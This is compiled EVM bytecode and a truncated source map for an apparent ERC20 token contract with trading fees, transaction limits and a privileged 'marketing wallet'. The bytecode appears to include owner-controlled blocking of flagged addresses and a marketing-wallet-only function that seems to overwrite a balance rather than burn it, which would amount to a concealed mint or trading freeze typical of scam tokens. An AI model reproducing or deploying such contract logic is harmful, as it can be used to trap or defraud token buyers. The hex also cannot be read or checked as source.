ffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e566114e7565b73ffffffffffffffffffffffffffffffffffffffff16610e74610edc565b73ffffffffffffffffffffffffffffffffffffffff1614610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190612df0565b60405180910390fd5b610ed460006123ed565b565b60175481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b606060088054610f1b906130ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610f47906130ea565b8015610f945780601f10610f6957610100808354040283529160200191610f94565b820191906000526020600020905b815481529060010190602001808311610f7757829003601f168201915b5050505050905090565b60155481565b60008060026000610fb36114e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790612ed0565b60405180910390fd5b61108461107b6114e7565b858584036114ef565b600191505092915050565b60135481565b60006110a96110a26114e7565b84846116ba565b6001905092915050565b6110bb6114e7565b73ffffffffffffffffffffffffffffffffffffffff166110d9610edc565b73ffffffffffffffffffffffffffffffffffffffff161461112f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112690612df0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118a57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60216020528060005260406000206000915054906101000a900460ff1681565b60006111f86114e7565b73ffffffffffffffffffffffffffffffffffffffff16611216610edc565b73ffffffffffffffffffffffffffffffffffffffff161461126c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126390612df0565b60405180910390fd5b6001601781905550600060188190555060185460175461128c9190612f4d565b60168190555060016019819055506001601a81905550601b54601a546112b29190612f4d565b6019819055506000601e60006101000a81548160ff0219169083151502179055506001905090565b600d5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60165481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b60185481565b601b5481565b600e5481565b3373ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146290612eb0565b60405180910390fd5b611474816124b3565b50565b600081836114859190612f4d565b905092915050565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561155f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155690612e70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c690612d50565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ad9190612ef0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561172a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172190612e30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561179a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179190612d10565b60405180910390fd5b60008114156117b4576117af8383600061250e565b61221e565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118555750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118b15760011515600460009054906101000a900460ff161515146118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790612e50565b60405180910390fd5b5b601e60009054906101000a900460ff1615611cb7576118ce610edc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561193c575061190c610edc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119755750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119af575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119c85750600b60149054906101000a900460ff16155b15611cb657602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a705750602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b1757600d54811115611aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab190612db0565b60405180910390fd5b600e54611ac683610e06565b82611ad19190612f4d565b1115611b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0990612e90565b60405180910390fd5b611cb5565b602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611bba5750602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c0957600d54811115611c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfb90612d90565b60405180910390fd5b611cb4565b602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611cb357600e54611c6683610e06565b82611c719190612f4d565b1115611cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca990612e90565b60405180910390fd5b5b5b5b5b5b60011515600460009054906101000a900460ff1615151415612212576000611cde30610e06565b90506000600c548210159050808015611d045750600b60149054906101000a900460ff16155b8015611d5a5750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611db05750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e065750601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4a576001600b60146101000a81548160ff021916908315150217905550611e2e61278f565b6000600b60146101000a81548160ff0219169083151502179055505b600b60149054906101000a900460ff16158015611eb05750602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8015611ec85750601060009054906101000a900460ff165b8015611ee35750601254601354611edf9190612f4d565b4210155b8015611f395750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b506000600b60149054906101000a900460ff16159050601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ff05750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ffa57600090505b6000811561220d57602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561205d57506000601954115b156120f75761208a606461207c6019548861287190919063ffffffff16565b61288790919063ffffffff16565b9050601954601b548261209d9190612fd4565b6120a79190612fa3565b601d60008282546120b89190612f4d565b92505081905550601954601a54826120d09190612fd4565b6120da9190612fa3565b601c60008282546120eb9190612f4d565b925050819055506121e9565b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561215257506000601654115b156121e85761217f60646121716016548861287190919063ffffffff16565b61288790919063ffffffff16565b9050601654601854826121929190612fd4565b61219c9190612fa3565b601d60008282546121ad9190612f4d565b92505081905550601654601754826121c59190612fd4565b6121cf9190612fa3565b601c60008282546121e09190612f4d565b925050819055505b5b60008111156121fe576121fd87308361250e565b5b808561220a919061302e565b94505b505050505b61221d83838361250e565b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612293576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228a90612e10565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231090612d30565b60405180910390fd5b81600654612327919061302e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816005600082825461237b919061302e565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123e09190612ef0565b60405180910390a3505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561257e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257590612e30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e590612d10565b60405180910390fd5b6125f983838361289d565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561267f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267690612d70565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127129190612f4d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127769190612ef0565b60405180910390a36127898484846128a2565b50505050565b600061279a30610e06565b90506000601c54601d546127ae9190612f4d565b90506000808314806127c05750600082145b156127cd5750505061286f565b6000601d819055506000601c81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161282390612ca3565b60006040518083038185875af1925050503d8060008114612860576040519150601f19603f3d011682016040523d82523d6000602084013e612865565b606091505b5050809150505050505b565b6000818361287f9190612fd4565b905092915050565b600081836128959190612fa3565b905092915050565b505050565b505050565b6000813590506128b6816135a2565b92915050565b6000813590506128cb816135b9565b92915050565b6000602082840312156128e7576128e66131a9565b5b60006128f5848285016128a7565b91505092915050565b60008060408385031215612915576129146131a9565b5b6000612923858286016128a7565b9250506020612934858286016128a7565b9150509250929050565b600080600060608486031215612957576129566131a9565b5b6000612965868287016128a7565b9350506020612976868287016128a7565b9250506040612987868287016128bc565b9150509250925092565b600080604083850312156129a8576129a76131a9565b5b60006129b6858286016128a7565b92505060206129c7858286016128bc565b9150509250929050565b6000602082840312156129e7576129e66131a9565b5b60006129f5848285016128bc565b91505092915050565b612a0781613062565b82525050565b612a1681613074565b82525050565b6000612a2782612f26565b612a318185612f3c565b9350612a418185602086016130b7565b612a4a816131ae565b840191505092915050565b6000612a62602383612f3c565b9150612a6d826131bf565b604082019050919050565b6000612a85602283612f3c565b9150612a908261320e565b604082019050919050565b6000612aa8602283612f3c565b9150612ab38261325d565b604082019050919050565b6000612acb602683612f3c565b9150612ad6826132ac565b604082019050919050565b6000612aee603683612f3c565b9150612af9826132fb565b604082019050919050565b6000612b11603583612f3c565b9150612b1c8261334a565b604082019050919050565b6000612b34602883612f3c565b9150612b3f82613399565b604082019050919050565b6000612b57602083612f3c565b9150612b62826133e8565b602082019050919050565b6000612b7a602183612f3c565b9150612b8582613411565b604082019050919050565b6000612b9d602583612f3c565b9150612ba882613460565b604082019050919050565b6000612bc0600083612f31565b9150612bcb826134af565b600082019050919050565b6000612be3600083612f3c565b9150612bee826134af565b600082019050919050565b6000612c06602483612f3c565b9150612c11826134b2565b604082019050919050565b6000612c29601383612f3c565b9150612c3482613501565b602082019050919050565b6000612c4c601e83612f3c565b9150612c578261352a565b602082019050919050565b6000612c6f602583612f3c565b9150612c7a82613553565b604082019050919050565b612c8e816130a0565b82525050565b612c9d816130aa565b82525050565b6000612cae82612bb3565b9150819050919050565b6000602082019050612ccd60008301846129fe565b92915050565b6000602082019050612ce86000830184612a0d565b92915050565b60006020820190508181036000830152612d088184612a1c565b905092915050565b60006020820190508181036000830152612d2981612a55565b9050919050565b60006020820190508181036000830152612d4981612a78565b9050919050565b60006020820190508181036000830152612d6981612a9b565b9050919050565b60006020820190508181036000830152612d8981612abe565b9050919050565b60006020820190508181036000830152612da981612ae1565b9050919050565b60006020820190508181036000830152612dc981612b04565b9050919050565b60006020820190508181036000830152612de981612b27565b9050919050565b60006020820190508181036000830152612e0981612b4a565b9050919050565b60006020820190508181036000830152612e2981612b6d565b9050919050565b60006020820190508181036000830152612e4981612b90565b9050919050565b60006020820190508181036000830152612e6981612bd6565b9050919050565b60006020820190508181036000830152612e8981612bf9565b9050919050565b60006020820190508181036000830152612ea981612c1c565b9050919050565b60006020820190508181036000830152612ec981612c3f565b9050919050565b60006020820190508181036000830152612ee981612c62565b9050919050565b6000602082019050612f056000830184612c85565b92915050565b6000602082019050612f206000830184612c94565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000612f58826130a0565b9150612f63836130a0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f9857612f9761311c565b5b828201905092915050565b6000612fae826130a0565b9150612fb9836130a0565b925082612fc957612fc861314b565b5b828204905092915050565b6000612fdf826130a0565b9150612fea836130a0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130235761302261311c565b5b828202905092915050565b6000613039826130a0565b9150613044836130a0565b9250828210156130575761305661311c565b5b828203905092915050565b600061306d82613080565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156130d55780820151818401526020810190506130ba565b838111156130e4576000848401525b50505050565b6000600282049050600182168061310257607f821691505b602082108114156131165761311561317a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b7f43616c6c6572206973206e6f74206d61726b6574696e672077616c6c65740000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6135ab81613062565b81146135b657600080fd5b50565b6135c2816130a0565b81146135cd57600080fd5b5056fea2646970667358221220813d594a0faf06ef722066314cb23aa4022544a5258181f205d3caaa11a8994464736f6c63430008050033

Deployed Bytecode Sourcemap

2235:8058:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5537:93;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;706:100:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1685:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3267:63:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2315:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1026:108:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2762:47:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2630:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3123:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3083;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1887:529:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2352:53:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2672:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2591:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;926:92:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2795:290;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5441:88:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3165:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2970:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1142:143:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1047:103:3;;;;;;;;;;;;;:::i;:::-;;2894:30:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;350:87:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3005:31:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;814:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2816:35:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3093:475:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2724:29:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1293:200:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;449:137:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3339:57:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5075:358;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2486:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2666:121:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2860:27:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1501:176:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2444:33:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2931:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3043:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2528:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5638:86;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5537:93;777:10:3;763:24;;:10;;;;;;;;;;;:24;;;755:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5593:29:5::1;5614:7;5593:20;:29::i;:::-;5537:93:::0;:::o;706:100:1:-;760:13;793:5;786:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;706:100;:::o;1685:194::-;1793:4;1810:39;1819:12;:10;:12::i;:::-;1833:7;1842:6;1810:8;:39::i;:::-;1867:4;1860:11;;1685:194;;;;:::o;3267:63:5:-;;;;;;;;;;;;;;;;;;;;;;:::o;2315:30::-;;;;;;;;;;;;;:::o;1026:108:1:-;1087:7;1114:12;;1107:19;;1026:108;:::o;2762:47:5:-;;;;:::o;2630:35::-;;;;:::o;3123:33::-;;;;:::o;3083:::-;;;;:::o;1887:529:1:-;2027:4;2044:36;2054:6;2062:9;2073:6;2044:9;:36::i;:::-;2093:24;2120:11;:19;2132:6;2120:19;;;;;;;;;;;;;;;:33;2140:12;:10;:12::i;:::-;2120:33;;;;;;;;;;;;;;;;2093:60;;2206:6;2186:16;:26;;2164:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;2316:57;2325:6;2333:12;:10;:12::i;:::-;2366:6;2347:16;:25;2316:8;:57::i;:::-;2404:4;2397:11;;;1887:529;;;;;:::o;2352:53:5:-;2398:6;2352:53;:::o;2672:45::-;;;;:::o;2591:32::-;;;;;;;;;;;;;:::o;926:92:1:-;984:5;1009:1;1002:8;;926:92;:::o;2795:290::-;2908:4;2925:130;2948:12;:10;:12::i;:::-;2975:7;3034:10;2997:11;:25;3009:12;:10;:12::i;:::-;2997:25;;;;;;;;;;;;;;;:34;3023:7;2997:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;2925:8;:130::i;:::-;3073:4;3066:11;;2795:290;;;;:::o;5441:88:5:-;777:10:3;763:24;;:10;;;;;;;;;;;:24;;;755:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5496:25:5::1;5502:10;5514:6;5496:5;:25::i;:::-;5441:88:::0;:::o;3165:34::-;;;;;;;;;;;;;:::o;2970:28::-;;;;:::o;1142:143:1:-;1232:7;1259:9;:18;1269:7;1259:18;;;;;;;;;;;;;;;;1252:25;;1142:143;;;:::o;1047:103:3:-;645:12;:10;:12::i;:::-;634:23;;:7;:5;:7::i;:::-;:23;;;626:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1112:30:::1;1139:1;1112:18;:30::i;:::-;1047:103::o:0;2894:30:5:-;;;;:::o;350:87:3:-;396:7;423:6;;;;;;;;;;;416:13;;350:87;:::o;3005:31:5:-;;;;:::o;814:104:1:-;870:13;903:7;896:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;814:104;:::o;2816:35:5:-;;;;:::o;3093:475:1:-;3211:4;3228:24;3255:11;:25;3267:12;:10;:12::i;:::-;3255:25;;;;;;;;;;;;;;;:34;3281:7;3255:34;;;;;;;;;;;;;;;;3228:61;;3342:15;3322:16;:35;;3300:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;3458:67;3467:12;:10;:12::i;:::-;3481:7;3509:15;3490:16;:34;3458:8;:67::i;:::-;3556:4;3549:11;;;3093:475;;;;:::o;2724:29:5:-;;;;:::o;1293:200:1:-;1404:4;1421:42;1431:12;:10;:12::i;:::-;1445:9;1456:6;1421:9;:42::i;:::-;1481:4;1474:11;;1293:200;;;;:::o;449:137:3:-;645:12;:10;:12::i;:::-;634:23;;:7;:5;:7::i;:::-;:23;;;626:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;545:1:::1;523:24;;:10;;;;;;;;;;;:24;;;514:34;;;::::0;::::1;;572:6;559:10;;:19;;;;;;;;;;;;;;;;;;449:137:::0;:::o;3339:57:5:-;;;;;;;;;;;;;;;;;;;;;;:::o;5075:358::-;5124:4;645:12:3;:10;:12::i;:::-;634:23;;:7;:5;:7::i;:::-;:23;;;626:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5159:1:5::1;5141:15;:19;;;;5189:1;5171:15;:19;;;;5234:15;;5216;;:33;;;;:::i;:::-;5201:12;:48;;;;5276:1;5260:13;:17;;;;5307:1;5288:16;:20;;;;5354:16;;5335;;:35;;;;:::i;:::-;5319:13;:51;;;;5398:5;5381:14;;:22;;;;;;;;;;;;;;;;;;5421:4;5414:11;;5075:358:::0;:::o;2486:35::-;;;;:::o;2666:121:1:-;2739:4;2763:6;:16;2770:8;2763:16;;;;;;;;;;;;;;;;;;;;;;;;;2756:23;;2666:121;;;:::o;2860:27:5:-;;;;:::o;1501:176:1:-;1615:7;1642:11;:18;1654:5;1642:18;;;;;;;;;;;;;;;:27;1661:7;1642:27;;;;;;;;;;;;;;;;1635:34;;1501:176;;;;:::o;2444:33:5:-;;;;:::o;2931:30::-;;;;:::o;3043:31::-;;;;:::o;2528:24::-;;;;:::o;5638:86::-;777:10:3;763:24;;:10;;;;;;;;;;;:24;;;755:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5700:16:5::1;5708:7;5700;:16::i;:::-;5638:86:::0;:::o;1325:98:4:-;1383:7;1414:1;1410;:5;;;;:::i;:::-;1403:12;;1325:98;;;;:::o;2430:115:1:-;2533:4;2514:6;:16;2521:8;2514:16;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;2430:115;:::o;93:98:0:-;146:7;173:10;166:17;;93:98;:::o;5229:380:1:-;5382:1;5365:19;;:5;:19;;;;5357:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5463:1;5444:21;;:7;:21;;;;5436:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5547:6;5517:11;:18;5529:5;5517:18;;;;;;;;;;;;;;;:27;5536:7;5517:27;;;;;;;;;;;;;;;:36;;;;5585:7;5569:32;;5578:5;5569:32;;;5594:6;5569:32;;;;;;:::i;:::-;;;;;;;;5229:380;;;:::o;5926:3884:5:-;6074:1;6058:18;;:4;:18;;;;6050:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6151:1;6137:16;;:2;:16;;;;6129:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6220:1;6210:6;:11;6206:93;;;6238:28;6254:4;6260:2;6264:1;6238:15;:28::i;:::-;6281:7;;6206:93;6315:6;:10;6322:2;6315:10;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;6343:6;:12;6350:4;6343:12;;;;;;;;;;;;;;;;;;;;;;;;;6315:40;6311:99;;;6401:4;6393:12;;:4;;;;;;;;;;;:12;;;6385:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;6311:99;6435:14;;;;;;;;;;;6431